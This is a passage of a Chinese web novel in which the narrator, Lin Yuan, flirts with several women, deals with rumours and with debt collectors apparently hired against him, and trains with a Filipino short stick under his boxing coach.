“知道就好。”她重新闭上眼睛,声音轻轻的,“你现在还不够强,但我相信,你会越来越强的。有我在,没人能欺负你。”
车子驶入美容院后面的巷子,我停好车,熄了火,车厢里瞬间安静下来,只剩下她均匀的呼吸声。
“红姐,到了。”我轻轻喊她。
她没反应。
“红姐。”我又喊了一声,伸手轻轻碰了碰她的胳膊。
她猛地睁开眼睛,眼神还有些迷离,看了我一眼,然后推开车门,下了车。走到车门边,她停下脚步,转过身,看着我,语气带着点酒后的直白:“明天早上八点,来接我,别迟到。”
说完,她没再回头,踩着高跟鞋,晃悠悠地走进了宿舍楼,背影慵懒又迷人。
我坐在驾驶座上,看着方向盘上的四个圈,又想起她刚才撩我的样子,心里乱乱的,发了好一会儿呆。
手机突然震了,是苏婉的消息。
“小远,我听说有人造你的谣,说你被红姐包养,还说你跟别的富婆有关系,是真的吗?”
“嗯,有这事,但都是谣言,别当真。”
“你生气吗?是不是很难受?”
“刚开始有点,后来就不气了,红姐跟我说,越在意越吃亏。”
“可是那些话太过分了……”苏婉发了一个委屈的表情,然后发了一条语音。
我点开,她的声音有些沙哑,带着几分心疼:“小远,你别一个人扛着,有什么事,跟我说,我虽然帮不上什么大忙,但我能陪着你。”
“好,谢谢你,婉姐。”我的心里涌起一股暖意,所有的委屈都消散了大半。
“还有,你手臂上的伤,记得按时换药,别碰水,别再打架了,我担心你。”
“好,我记住了。”
“小远。”
“嗯。”
“不管别人怎么说,我都知道你是什么样的人,你不是他们说的那种人。”
我看着屏幕,眼眶微微发热,打字回复:“婉姐,有你这句话,就够了。”
“别想太多,早点休息,明天还要上班呢。”
“好,你也是,早点休息。”
挂了苏婉的消息,我回到自己的房间,洗了个澡,躺在床上,闲得无聊又拿起手机,翻了翻那个传谣的微信群。
群里的消息还在刷——新的八卦出现了,有人说某某美容院的老板娘卷款跟小白脸跑了,还有人爆某某品牌的代理权有内幕,靠送礼走后门才拿到,比我的谣言更狗血、更吸睛。
这一周过得不太
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平,谣言满天飞。
唯一能让脑子清空的地方,就是拳馆。沙袋不会说话,拳头打上去,只有沉闷的声响,和手臂传来的震动。
老刀今天不在,说是出去办事了。拳馆里只有几个人在练,角落里一个人对着沙袋打拳,动作干净利落,拳拳到肉。
那个沙袋是老刀专门从泰国进口的,牛皮面,填充了高密度海绵,一般的初学者打上去沙袋纹丝不动,只有力量够大、发力够准的人才能打出那种沉闷的“砰、砰”声。
我走近一看,是赵暮。
她穿着一件黑色紧身运动背心,下面是深灰色束脚训练裤,整个人显得又飒又利落。
短发被汗水打湿,贴在光洁的额头上,几缕碎发粘在脸颊边,鼻尖、锁骨都沁着细密的汗珠,在灯光下亮晶晶的,透着一股鲜活又热辣的青春气。
她皮肤很白,是那种常年训练晒不黑的冷白,运动背心把肩颈线条拉得格外好看,直角肩明显,腰腹收得极紧,没有一丝赘肉,透着紧实又流畅的肌肉线条。
不是夸张的肌肉块,是常年实战打磨出来的精瘦、紧致、有爆发力的好身材,每一次转腰出拳,腰侧都会拉出浅浅的弧线,利落又性感。
手臂线条流畅有力,小臂纤细却结实,每一拳轰出,肩背线条都会绷紧,充满力量感。
汗水顺着下颌线滑到脖颈,再往下没入背心边缘,看得人下意识移不开眼。
她的拳头打在沙袋上,每一拳都带着腰腿的力量,沙袋猛地向后荡去,链条发出刺耳的摩擦声。
不是花架子,这是真功夫。
我在旁边看了一会儿,嘴角不自觉勾起来。她动作很规范,直拳、摆拳、勾拳,一招一式标准得像教科书。但问题也很明显——太硬、太板正,每一个动作都像是刻出来的,缺少变化和灵动。
老刀说过,格斗不是做操,不能按套路来。对手不会顺着你的节奏出牌,你得学会随机应变。
“赵队。”我开口喊她。
她猛地停拳,转过身,看到是我,瞬间笑了。
那个笑容和派出所里完全不一样。
在单位她是刑侦副大队长,眼神锐利、说话干脆,浑身写着“别惹我”;
但此刻大汗淋漓、发丝微乱,笑起来眼角弯弯,带着点少女的鲜活气,又甜又野。
第44章 警花真有劲
“林远?你怎么来了?”
“练拳。”我把包放下,慢悠悠缠绷带,目光很自然地在她身上扫了一圈,“老刀不在?”
“他有事出去,让我帮他看场子。”她摘下拳套,随手擦了擦额头的汗,抬手把碎发别到耳后,脖颈线条拉得格外好看。
她上下打量我一眼,眼神亮得像小兽,带着明显的跃跃欲试:“正好,你来了。周叔说你一个人打三个,我想试试你的身手。”
“在这儿?”
“就在这儿。”她指了指旁边的空场地,嘴角勾起一抹又飒又挑衅的笑,腰杆挺得笔直,身材线条更显挺拔,“切磋一下,点到为止。怎么,怕了?”
这不是激将法,是明目张胆的挑衅。我看着她眼里那股不服输的鲜活劲儿,故意顿了顿,脸皮很厚地笑:
“行。但你输了不许哭。”
“我哭?”她被逗笑,胸前微微起伏,语气又傲又娇,“你先管好你自己吧。”
我们各自戴上拳套,走上擂台。老刀的拳馆虽破,擂台却是正经标准尺寸,弹性地板,围绳紧绷。
赵暮站在我对面,双脚分开、重心下沉,双手护下巴,眼睛盯着我肩膀。标准警校格斗姿势,干净利落,挑不出毛病。
老刀教我的第一原则:看肩膀。对手出拳前,肩膀先动。看准肩膀,就能预判拳路。
“准备好了?”我故意拖长语调,目光在她紧致的腰腹上轻轻一掠。
“少废话。来。”
我迈前一步,试探性一记直拳。她侧身躲开,立刻反击,一记摆拳朝我头部打来。我后仰避开,她拳头擦着我下巴过去,风声都带着劲。
第一回合,我只防不打。她进攻很猛,拳拳带力,打沙袋能荡飞,打我却连衣角都碰不到。
老刀教我的第二原则:躲比打重要。你打不着我,就赢不了。我别的不行,躲的功夫早就练出来了。
“你总是躲!”她明显急了,呼吸微微急促,胸口轻轻起伏,出拳更快更密,左勾右直连摆拳,打得虎虎生风。
汗水顺着她脸颊滑落,发丝贴在颈侧,又野又好看。
“老刀说的,躲比打重要。”我一边躲一边笑,语气轻松得不像话。
“那你也得打啊!”
“急什么?你先打着,我不急。”
“你——”她气得牙痒痒,出拳更快,也更乱了。老刀说过,愤怒会乱节奏。她现在拳重了,准头却掉得厉害。
我侧身避开她右直拳,趁她重心前移、收拳不及的瞬间,上前一步,手掌在她肩膀上轻轻一拍,指尖故意多停了半秒。
“你输了。”
她整个人一僵,举着拳定格在原地,脸颊瞬间泛红,连耳根都热了。
几秒后才放下手,又气又笑地瞪我:“行,算你厉害。”
“不是算我厉害。”我凑近一点,声音压低,带着痞气,“是你太急,肩膀动得太明显,我一猜就中。”
她摘了拳套,拿起水杯喝了一口,喉结轻轻滚动,侧脸线条干净又漂亮。
她转回头看我,眼神里带着不服气:“你这是在教我?”
“不敢,交流交流。”
“交流?”她笑,“行,那你说说,我还有什么问题?”
“你的步法太死。”我也摘了拳套,走到她身边,目光很自然落在她紧实的长腿上,“每次出拳先站稳再打,力量有了,速度慢了。要在移动中出拳,让对手摸不准你。”
她想了想,点头:“还有呢?”
“还有——”我顿了顿,目光落在她小臂上的几块淤青,语气轻了些,带着点撩,“你防守太依赖手臂。老刀说,最好的防守是躲,不是硬扛。你看,都青了,多疼。”
她低头看了眼自己的小臂,皮肤白,淤青格外明显。
“你说的这些,老刀也说过。”她放下水杯,靠在墙上,微微歪头看我,少女感十足,“但他没你讲得清楚。”
“那是因为他懒得讲。”我笑,“能动手绝不动口。”
“也是。”她也笑,肩线放松下来,整个人少了几分凌厉,多了几分邻家女孩的鲜活。
她忽然收敛笑意,眼神认真起来:
“林远,你最近是不是惹上什么人了?”
话题转得有点突然。我从墙上直起身,看着她。<
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br>“什么意思?”
“开发区那三个讨债的,不是普通混混。”她表情一收,又变回职业状态,可即便严肃,依旧透着年轻女孩的利落朝气,“我查了他们背景。
那个胖子叫赵军,以前在建材市场混,跟一个叫‘三哥’的人做事。瘦高个刘洋,有案底,去年寻衅滋事拘过十五天。矮壮的王磊,以前健身房教练,打伤人被开了。”
“你查得这么细?”
“职业习惯。”她耸了耸肩,语气又松下来,“周叔说他们招了,是有人花钱雇的。但那人用假身份、临时卡,暂时查不到头。”
“所以背后还有人?”
“肯定有。”她看着我,“赵军那种人,不会为了二十万的赌债亲自上门。他平时收债都是让小弟去,自己在家数钱。他能亲自去开发区,说明有人给了他更多的钱。”
“你觉得是谁?”
“我不知道。”她摇了摇头,“但我提醒你——最近小心点。不管是谁在背后,他们盯上你了。”
“盯上我?”
“你一个人打了他们三个,还打进了医院。赵军的鼻梁断了,王磊到现在还说头晕。这个仇,他们不会就这么算了。”她看着我,“你最近出门多注意,有什么事给我打电话。”
她从墙上挂着的外套口袋里掏出一张名片,递给我。上面印着:滨海市**局永安分局,赵暮,刑侦大队副大队长。下面是一行手写的手机号。
“这是我私人号码。二十四小时开机。”
我接过名片,放进口袋里。“赵队,谢了。”
“别谢我。”她背起包,往门口走,“你是我师兄,我不帮你帮谁?”
走到门口的时候,她停下来,回头看着我。门外的路灯照进来,把她的影子拉得很长。
“林远。”
“嗯。”
“那些谣言,你别往心里去。”她的声音很平静,但眼神里有一种认真,“我查过了,是从孙曼丽那边传出来的。她就是想恶心你。”
“我知道。”
“知道就好。”她推开门,“走了。下周见。”
“下周见。”
第45章 小鹿叫我爸爸
她走了,脚步声在走廊里回荡,越来越远,越来越轻。
我站在拳馆里,看着她离开的方向,站了一会儿。
然后我转过身,走到沙袋前,戴上拳套。
一拳、两拳三拳……
沙袋晃动着,发出沉闷的声响。
赵暮说有人在背后盯上我了。孙曼丽的谣言、开发区讨债的人、背后那个查不到源头的“雇主”——这些事像一根根线,缠在一起,拧成了一条绳。绳子的另一端,不知道拴着什么。
但我知道一件事。
不管拴着什么,我都得把它解开。
手机震了,赵暮的消息。
“师兄,你今天说的那些,我都记下了。下次切磋,我不会再输了。”
后面跟了一个“奋斗”的表情。
我笑了,打字:“行,下次我认真打。”
“你这次没认真?”
“没有。”
“……”她发了一串省略号,“你等着。”
周五晚上,我接到了安然的电话。
“林远,小鹿这几天天天念叨你,说想你了。你明天有空吗?来家里吃顿饭吧。”
她声音温温柔柔的,听着就让人心里很静。
“好,明天晚上我过去。”
“嗯,我等你。”
第二天傍晚,我开着那辆白色奥迪到了翡翠湾。
小鹿早就扒在门口望风,一见我下车,“噌”地跑过来:“哥哥!你可算来了!”
“小鹿,越来越活泼了。”
“那是因为见到你呀!”她一把挽住我的胳膊,晃来晃去,“妈妈今天做了超级多菜,全是你爱吃的。”
我刚进门,安然就从厨房探出头。
她穿了一件米白色家居服,长发松松垂在肩头,没化妆,可皮肤白净柔和,灯光一照,整个人显得温温柔柔,特别有气质,感觉也就比我大三岁的样子。
“来了?快坐,菜马上就好。”她笑了笑,脸颊微微一暖,又转身回了厨房。
小鹿把我拽到沙发上,立刻从书包里掏出一张试卷拍在桌上:“哥哥你看!数学九十二分!”
“可以啊,进步这么大。”
“妈妈说了,考到九十五就给我换手机。”她凑近我,小声说,“哥哥,你以后常来教我做题好不好?”
“我数学也就一般。”
“骗人!你可是大学生!”小鹿抱着我的胳膊不撒手,“你要是天天来,我肯定能考满分。”
正说着,安然端着菜走出来,看到我们头挨着头凑在一起,嘴角不自觉弯起来,眼神软得一塌糊涂:“小鹿,别老黏着哥哥,先吃饭。”
“知道啦——”
小鹿拉着我坐到她旁边,还特意把我往她那边靠了靠:“哥哥坐这儿,挨着我!”
一桌子菜热气腾腾,红烧排骨、清炒虾仁、蒜蓉西兰花、排骨汤,中间还多了一条清蒸鲈鱼,香气特别勾人。
“这条鱼是……”
“小鹿说你爱吃鱼,我就给你做了。”安然坐在我对面,目光轻轻落在我脸上,有点不好意思似的,“不知道合不合你口味。”
我夹了一块,鲜嫩入味:“特别好吃,比饭店做得还香。”
她眼睛明显亮了一下,脸颊浅浅泛红,轻声笑了:“你喜欢就好。”
吃完饭,小鹿回房间写作业,客厅一下子安静下来。
电视放着综艺,声音热闹。
安然先开口,声音轻轻的:“林远。”
“嗯?”
“我最近听了一些关于你的闲话……就是你和秦红老板的。”她顿了顿,目光很真诚,“我知道那些都不是真的。”
“嗯,都是谣言。”
她轻轻“嗯”了一声,又看着我:“我一直挺好奇的,以你的能力,去哪里都不差,为什么一直留在红颜?”
“秦红姐在我最难的时候帮过我,这份情,我不能忘。”
安然看着我,眼神里多了几分动容,也多了几分心疼的温柔:“林远,你真的很重情义。现在像你这样的人,不多了。”
“就是有点底线而已。”我笑了笑。
她也跟着笑,那一笑温柔又耐看,目光在我脸上停了一瞬,才轻轻移开:“以后你要是有什么事,别自己硬扛,跟我说一声,我能帮的,一定帮。”
“好。”
气氛正柔着呢,小鹿突然从房间里探出头,贼兮兮一笑,直接开口一句炸场:
“哥哥!你干脆留下来当我爸爸算了!
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”
我一口老血差点呛住。
安然“唰”的一下,脸瞬间红到耳根,连脖子都粉了,又羞又急:“小鹿!你胡说什么呢!”
小鹿一点不怕,理直气壮地走出来,叉着腰一副小大人的样子:“本来就是嘛!哥哥人又好,又厉害,还会打架保护我们!妈妈你又这么漂亮,咱们家又不缺钱,完全可以包养哥哥啊!”
“小鹿!”安然脸烫得不行,又羞又窘,眼神都不敢看我,声音都轻颤了,“不许乱开玩笑!”
我也尴尬地挠了挠头,哭笑不得:“你这小丫头,脑子里都想些什么。”
“本来就是实话嘛!”小鹿哼了一声,凑近我小声说,“我妈妈真的很有钱,哥哥你考虑一下,不亏的!”
安然彻底羞得不行,轻轻拍了小鹿一下:“再胡说我就生气了。”
她耳根红得快要滴血,偷偷抬眼瞟了我一下,又飞快低下头,手指轻轻攥着衣角,那模样又羞又柔,看得人心尖微微一动。
我赶紧打圆场:“好了小鹿,别逗你妈妈了,她都不好意思了。”
小鹿吐了吐舌头,偷笑个不停。
客厅里的气氛,一下子又甜又臊,暧昧得快要溢出来。
……
从翡翠湾出来,已经九点多。
晚风一吹,我脑子里还全是安然刚才脸红害羞的样子。
刚上车,秦红的语音就来了:“林远,在哪儿浪到这么晚?”
“刚从一个朋友家吃完饭。”
“女朋友?”她语气带着点打趣。
“不是,之前救过的一个小女孩,她妈妈请吃饭。”
“又英雄救美?”秦红笑,“你是不是觉得自己浑身是胆?”
“没那么夸张。”
“行,回来再说,路上注意点。”
挂了电话,赵暮的消息紧跟着进来:
“那三个人招了,确实是被人花钱雇的。”
“是谁?”
“还在查,假身份,不过快有眉目了。”
“好,辛苦你了。”
“不辛苦。下周老刀拳馆内部切磋,你来不来?”
“来。”
“那到时候见,别被我打趴下。”
我放下手机,轻踩油门。
第46章 菲律宾短棍
切磋之后的那几天,我的小臂一直隐隐作痛。
赵暮那几拳虽然没打实,但之前被甩棍砸出来的淤青还没完全消,加上练拳时又磕了几下,整条小臂青一块紫一块的,外边还有一圈儿黄。
周五我再去拳馆的时候老刀已经回来了,看到我脱外套,目光在我小臂上扫了一下。
“那是什么?”
“淤青。”
“我知道是淤青。”他放下缠手带,走过来,捏了捏我的小臂,疼得我嘶了一声,“怎么弄的?”
“上次被甩棍砸的。”
“甩棍?”他的眉头皱了一下,“空手对甩棍?”
“嗯。”
“你赢了?”
“赢了。”
“伤了呢?”
“伤了。”
老刀沉默了一会儿,走回柜子旁边,拉开抽屉,从里面拿出一根黑色的棍子,扔给我。
我接住,棍子大概六十多厘米长,硬木的表面打磨得很光滑,握在手里沉甸甸的。一端有防滑纹路,另一端是平的。
“这是——”
“短棍。”老刀坐回沙发上,“菲律宾短棍,从今天起,我教你用这个。”
“为什么突然教这个?”
“不突然。”他看了我一眼,“上次你空手对甩棍,赢了是你运气好。下次对方拿**呢?拿钢管呢?你还用手去挡?”
我没说话。
“你的手是肉长的,不是铁打的。”
“在真正的打斗里,一寸长一寸强。你拳头再硬,也打不过拿刀的。你腿再快,也跑不过拿棍的。”
“短棍能打得过**?”
“看谁用。”老刀站起来,从我手里拿过短棍,手腕一翻,棍子在半空中划出一道弧线,发出尖锐的破空声。
“**是利器,但重心靠前,挥出去收不回来。短棍重心在中间,可劈可刺可挡,比**灵活。”
他走到沙袋前,一棍劈下去。沙袋猛地向后荡去,比拳头打得重得多。
“而且——”他把短棍递给我,“短棍合法。放在车里、包里,警察查到了也没事。**?你试试。”
我握着短棍,掂了掂分量。
“老刀,这玩意儿好学吗?”
“好学。”他又坐回沙发上,“但练好难,你不是想学花架子,是想保命。所以我只教你三招——劈、刺、挡。三招练熟了,够用了。”
“三招?”
“三招。”他竖起三根手指,“你一天练一千次,一个月练三万次。三万次之后,你就不用脑子想了,手自己会动。”
我看着他,沉默了两秒。
“老刀,你平时上网吗?”
“不上,怎么了?”
“没什么,就是觉得你这话挺像网上说的‘一万小时定律’。”
老刀看了我一眼,嘴角抽了抽。“什么定律不定律的。练就完了。”
老刀开始教我握棍。
“虎口对准棍子的这条线,拇指扣住食指,手腕要灵活,不能僵。”他纠正我的握法,“你握这么紧干什么?又不是抓鱼,放松。”
“放松了拿不稳。”
“拿不稳是因为你手指没力,用力的是手指,不是手腕。”他掰开我的手指,重新调整,“试试。”
我挥了一下,棍子差点脱手。
“再来。”
又挥了一下,稳了一些。
“再来。”
第三十下的时候,我已经能稳稳地握住棍子了,老刀在旁边看着,点了点头。
“还行,底子有。”
“什么底子?”
“在乡下干过活的手臂,力量够。”他走到沙袋前,“来,劈。从右上往左下,像砍柴一样。腰要转,肩要送,力从棍尖出去,不是用手腕甩。”
我学着他的样子,一棍劈在沙袋上。沙袋晃了一下。
“太轻了。”
我用力劈了一下,沙袋荡出去,又荡回来。
“还行。”老刀说,“再来。一千次,今天练不完不许走。”
“一千次?”
“一千次。”他坐回沙发上,拿起那支一直没点的烟,叼在嘴里,“你要是觉得多,想想上次被甩棍砸的时候。”
我没话说了。
一下、两下、三下……
五十下的时候,手臂开始酸。一百下的时候,肩膀开始疼。两百下的时候,我已经感觉不到手臂了,只剩下一股机械的、重复的、麻木的动作。
劈……劈……劈……
沙袋一下一下地荡出去,又荡回来,像一个不
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知疲倦的钟摆。
老刀坐在沙发上,时不时看一眼,不说话。偶尔说一句“腰没转”或者“太僵了”,然后又沉默。
五百下的时候,他站起来,走到我身边。
“停。”
我停下来,喘着粗气,手臂在发抖。
“你刚才被甩棍砸的是哪只手?”
“左手。”
“左手废了吗?”
“没有。”
“那你为什么只用右手练?”
我愣了一下。
“左手也得练。”他说:“万一右手被人控制了呢?你拿嘴叼着棍子打?”
我没忍住,笑了。“老刀,你这话说得像段子。”
“什么段子?”
“就是网上那种——‘你拿嘴叼着打啊’——那种。”
老刀看了我一眼,面无表情。“练完了再上网。”
他把短棍递给我左手:“来五百次,练不完不许走。”
那天晚上,我练到了十一点。
左手五百次劈,右手五百次劈。然后又练了五百次刺——棍尖朝前,像捅刀子一样,直线刺出。然后又练了五百次格挡——横棍格挡,卸掉对方的攻击。
老刀坐在沙发上,把那支烟从嘴里拿下来,又叼上去,始终没点。
“行了。”他站起来,“今天就到这儿。”
我放下短棍,手臂抖得像筛糠。
“回去用药酒敷一下,明天继续。”
“明天还来?”
“明天周六,下午两点。”他走到门口,回头看着我,“从今天起,你来拳馆就带着这根棍子。放在车里,放在包里,走到哪带到哪。”
“为什么?”
“因为——”他顿了顿,“哪天用上了,你就知道我今天为什么教你。”
他推开门,走了。
拳馆里只剩下我一个人,我低头看着手里那根黑色的短棍。沉甸甸的,这玩意儿确实比拳头硬多了。
老刀说得对,空手对器械,吃亏的是自己。我不是超人,我只是一个从乡下来的、练了几个月拳的普通人。我打不过**,打不过钢管,打不过那些拿着武器的人。
但这根棍子,能让我多一分胜算。
我把短棍放进包里,关了灯,走出拳馆。
第47章 人鱼线真好看
周六下午,我又去了拳馆。
老刀不在,柜台上压着张纸条:“今天自己练。劈、刺、挡各一千次,练完拍视频发我。”
我抽出菲律宾短棍,沉腰发力。
动作越来越顺,手臂的酸痛渐渐麻木,棍子划破空气,带着呼呼的破风声响。
练到一半,门被推开。
赵暮走进来,白色紧身速干T恤,下身黑色束脚训练裤,长发高高扎成马尾,露出一截光洁修长的脖颈。
这身衣服完全贴在身上,把她的身材线条衬得淋漓尽致——肩背平直,腰腹收得极紧,没有一丝多余赘肉。
她一眼瞥见我手里的短棍,脚步顿了顿,眼睛亮了亮。
“你练这玩意儿呢?”
“菲律宾短棍,老刀教的。”我停下动作,抹了把汗。
“学这个干嘛?”
“防身。”我晃了晃胳膊,“上次被甩棍砸怕了,老刀说空手对器械太吃亏。”
她走过来,直接从我手里抽走短棍,掂了掂重量,随手挥了两下。
转身、扭腰、出棍的瞬间,T恤下摆轻轻往上一掀,露出性感的人鱼线,我忍不住多看了两眼。
“分量还行。”
“你也懂?”
“警校学过点皮**。”她把棍子丢回给我,嘴角勾着笑,“不过我们那套偏表演,老刀教的一看就是真能**的。”
“要不要一起练练?”我主动挑眉邀她。
她故作犹豫了一秒,立刻点头:“行啊,正好没事干,陪你玩玩。”
我走过去,教她握棍姿势。她手小,握在棍上显得格外纤细。
“放松点,别攥那么死。”
“放松了不就飞了?”她白我一眼。
“发力靠手指,不是手腕。”我凑近了些,声音放低,带着点调戏,“来,师兄手把手教你。”
她耳根微热,却硬撑着嘴硬:“谁要你手把手。”
可手上还是跟着我的节奏调整,刚一转动,棍子差点脱手飞出去。
“你这教的什么鬼?”她瞪我。
“老刀就这么教的,我只负责转述。”
“老刀是怪人,你也是怪人。”
我笑出声:“你这么说话,很像在骂我。”
“就是骂你。”她也笑,重新抢过棍子,“再来,我还不信学不会了。”
一个多小时下来,赵暮已经打得有模有样。警校出身的底子就是好,协调性拉满,学东西快得吓人。
练到热了,她干脆走到墙边,一条腿直接抬起来,笔直修长的腿轻轻松松搭在我肩膀上压腿。
训练裤包裹着匀称紧致的大腿线条,这个角度看过去简直绝了。
她就这么支着腿,歪头看我:“喂,师兄。”
“嗯?”我视线不自觉在她腿上扫了一圈,又飞快收回。
“你最近自己小心点。”
“怎么,怕我被人打?”我故意逗她。
“赵军那案子有新动静了。”她脸色沉了沉,“他背后那个‘三哥’,在滨海道上有点名气,专门帮人收账平事,手下一堆混子。”
“三哥?”
“嗯,开讨债公司的。”她看着我,压腿的腿轻轻晃了一下,“这次去开发区闹的三个,全是他的人。就为了二十万赌债,他根本没必要亲自下场,肯定是有人额外加钱了。”
“你是说,有人雇他来搞我?”
“**不离十。”她收回腿,落地时动作轻盈,靠在墙上,马尾垂在肩头,“你最近得罪过谁?”
我想了想:“孙曼丽、李曼,还有林强。”
“孙曼丽?丽人会那个?”赵暮眉头一皱。
“嗯,她跟秦红不对付,我挡她路了。”
“行,我知道了,回头我帮你查查她。”
她说完,从包里摸出瓶矿泉水,拧开喝了一口,随手递到我面前。
“渴不渴?”
我接过来,直接对着她喝过的瓶口喝了一大口。
淡淡的水果香混着她淡淡的气息,味道还不错。
“师兄。”她忽然开口,眼神里带着坏笑,“你刚喝的那边,是我嘴碰过的。”
我故作愣了一下,抬眼看她,笑得一脸坦荡:“我知道啊,这叫间接接吻。”
赵暮瞬间僵住,脸“唰”地红了一大片。
“你……你这人怎么这样?”
“怎么?”我往前凑了半步,声音压低,“这不就是你故意的吗?”
她张了张嘴,半天没憋出一句话,耳根红得快要滴血,狠狠瞪我一眼,转身冲到沙袋前,一拳狠狠砸了出去。
沙袋猛地一晃。
“赵暮。”我喊她。
“干嘛!”她头也不回。
“你脸红了。”
“那是热的!”她声音都有点飘。
我哈哈大笑,没再继续逗她。
她也忍不住笑出声,气氛甜得发飘。
练完拳,赵暮说要回局里加班,先走了。
走之前还不忘回头瞪我一眼,像在赌气,又像在撒娇。
我把老刀布置的一千次劈刺挡练完,拍视频发过
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去。
老刀只回了三个字:“还行,明天继续。”
我收起短棍,背上包出门。
坐进奥迪,夜风从车窗缝吹进来,凉丝丝的。
手机一震,赵暮消息来了。
“师兄,今天谢了啊。”
“客气什么,师妹嘛。”
“下次我请你吃饭。”
“行,别吃火锅了,换点能增进感情的。”我主动撩。
她那边顿了几秒,回:“你想吃什么?”
“你请客,你说了算,我只管吃,顺便看人。”
她发了个抓狂的表情,跟着说:“行,我定,到时候喊你。”
“恭候大驾。”
我放下手机,踩下油门。
那根黑色短棍静静躺在副驾,老刀说过,希望我永远用不上它。
澜曦第一批货终于到了,整整三十箱,法国原装进口,法文包装贴着海关标,一看就贵得吓人。
物流车停在红颜后门,司机递来单子:“林总监,签字。”
我签完,一箱箱往库房搬。秦红反复交代过,澜曦金贵,一瓶面霜三千八,精华五千多,磕一下就是大几千损失。我搬得格外小心,还是累出一身汗。
搬到第十箱,秦红出现在库房门口。
白衬衫配黑色包臀裙,长发披肩,细长耳钉衬得气质又美又媚。
“搬完了?”
“还差二十箱。”
“你一个人搬?”
“嗯。”
她靠在门框上,就这么看着我,也不伸手。
过了一会儿,忽然开口:“林远,我怎么觉得你最近壮了不少?”
我放下箱子,回头笑:“有吗?”
“当然有。”她径直走过来,伸手直接在我胳膊上捏了一下,指尖故意多停留了两秒,触感温热,“肌肉都硬了。”
“练拳练的。”
“不错。”她满意点头,眼神带着欣赏,“继续搬,搬完来我办公室。”
等我满头大汗搬完,洗了手走进她办公室。
秦红坐在办公桌后,文件摊了一桌。见我进来,指了指对面椅子。
“坐。货都核对过了?”
“数量对,包装完好,保质期没问题。”
“很好。”她拿起一份文件丢给我,“下周三开始,全体美容师进行澜曦专项培训,你负责。”
“我?”
“方案你写的,货你点的,产品你最熟,你不教谁教?”她往椅背上一靠,目光直白又信任,“我相信你。”
“好,我来安排。”
第48章 安然约我
“还有一件事。”她从抽屉里拿出一张名片,推到我面前,“沈若溪下周五来滨海,参加一个行业论坛,她让你去接她。”
“接她?”
“嗯,她说有些事想在路上跟你聊。”秦红看着我,嘴角挂着一个似笑非笑的弧度,“林远,你现在是香饽饽了。”
“红姐——”
“别解释。”她打断我,“去就去,又不是上刀山。”
我把名片收好,放进口袋里。
晚上,我在宿舍里练短棍。
老刀说,劈、刺、挡各一千次。白天没时间,晚上补。我把短棍从包里抽出来,握在手里,开始练。
劈、刺、挡……
动作越来越顺,棍子在空中划出的弧线越来越圆润。老刀说过,练到一定程度,棍子就是手的延伸,不用想,手自己会动。
我已经练了快一周了,每天一千次,一周七千次。手臂不抖了,手腕灵活了,棍子握在手里不再觉得沉,而像是长在手上的一部分。
秦红不知道什么时候出现在走廊里,她穿着一件黑色的睡袍,手里夹着一支没点的烟,靠在墙上看着我。
“你在练什么?”
“短棍。”
“你练那个干什么?”
“防身。”
她走过来,看了看我手里的棍子。“这东西能防身?”
“能。”
“打一个给我看看。”
我走到院子里,对着空气挥了几棍。棍子发出尖锐的破空声,呼呼的。
秦红看了一会儿,点了点头。“有点意思。”
她把烟叼在嘴里,没点。“林远,你最近是不是在担心什么?”
“没有。”
“骗人。”她看着我,“你以前不练这些东西的,现在又练拳又练棍,像是在准备什么。”
我沉默了一会儿。
“上次被甩棍砸了,不想再有下次。”
秦红看了我一眼,没再问了。她把烟从嘴里拿下来,转身往屋里走。
“早点睡。明天还要上班。”
“红姐。”
她停下来,没有回头。
“谢谢你。”
“谢什么?”
“谢谢你给我机会。谢谢你相信我。”
她站了一会儿没回答我,然后继续走了。
周三下午,我在会议室给美容师们做培训。
来了十几个人,坐了两排。秦红坐在最后一排,手里端着一杯咖啡,像是在旁听,又像是在监督。
我站在白板前面,手里拿着一瓶澜曦的面霜。
“澜曦的产品和市面上的其他高端护肤品最大的区别是什么?”我看着台下的人,“不是成分,不是包装,不是价格,是理念。”
我在白板上写了两个字:修复。
“其他品牌做的是‘维持’。维持你皮肤现在的状态,不让你变差。但澜曦做的是‘修复’。修复你皮肤已经出现的问题,让你变得更好。”
台下有人举手。
“林总监,那澜曦的产品适合什么肤质?”
“所有肤质。”我说,“但使用方法和普通护肤品不一样,澜曦的产品需要在专业指导下使用,不能乱用。比如这瓶面霜——”
我打开面霜,在手背上挤了一点。
“它的质地比普通面霜更厚,因为它的活性成分浓度更高。用量不能多,一粒黄豆大小就够了。涂的时候不能打圈,要按压——”
我正说着,会议室的门被推开了。
前台小妹探进头来。“林总监,外面有人找。”
“谁?”
“她说她姓安然,带着一个小女孩。”
我愣了一下。
“让她等一下。培训马上结束。”
“好。”
我继续讲了几分钟,然后收尾。“今天就到这儿,下周三继续。”
美容师们散了,秦红端着咖啡走过来,看着我。
“安然是谁?”
“一个朋友。”
“什么朋友?”
“就是上次我说的那个姐姐,她女儿被人欺负,我帮了一把。”
秦红点了点头,没再问了。她端着咖啡走了出去,走到门口的时候,停下来。
“林远。”
“嗯。”
“你朋友挺多的。”
她撂下一句话就走了,也不知道是啥意思。
安然站在前台,穿着一件米白色的风衣,头发散着,手里拉着小鹿的手。小鹿看到我,眼睛一亮,松开妈妈的手跑过来。
“哥哥!”
“小鹿,你怎么来了?
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”
“妈妈说要来谢谢你。”她拉着我的手,回头看着安然,“妈妈,你快说呀。”
安然走过来,脸上带着笑。“林远,上次你说澜曦的代理权拿下来了,我想着来店里看看,办张卡。顺便——请你吃饭。”
“吃饭?”
“嗯。上次你帮了小鹿,我一直没好好谢你。”她从包里拿出一张卡,“这是我家附近那家餐厅的储值卡,你拿着,随时去吃。”
“不用——”
“拿着。”她把卡塞到我手里,“你不收,我心里过意不去。”
我看了看手里的卡,又看了看她。“行,那我收了。”
“还有——”她顿了顿,“小鹿说她想你了,问我什么时候能再见到你,我说等你方便的时候。”
“周末吧。”我说,“周末我去看你们。”
小鹿在旁边跳了起来。“耶!哥哥要来我家了!”
安然看着女儿,笑了。那笑容里有宠溺,有无奈,也有一种说不清的温柔。
“那周末见。”她说。
“周末见。”
她拉着小鹿往外走。小鹿回头冲我挥了挥手。“哥哥,周末见!”
我挥了挥手。
她们走了,前台小妹在旁边看着,眼睛亮亮的。“林总监,那个姐姐好漂亮啊。”
“嗯。”
“她是你女朋友吗?”
“不是,朋友。”
“哦——”小妹拉长了音,明显不信。
我没解释,转身回了办公室。
晚上,我又在宿舍里练短棍。
老刀说,三万次。我才练了不到一万次。还早。
赵暮来了消息:“师兄,在干嘛?”
“练棍。”
“又在练?你每天练不累吗?”
“不累。”
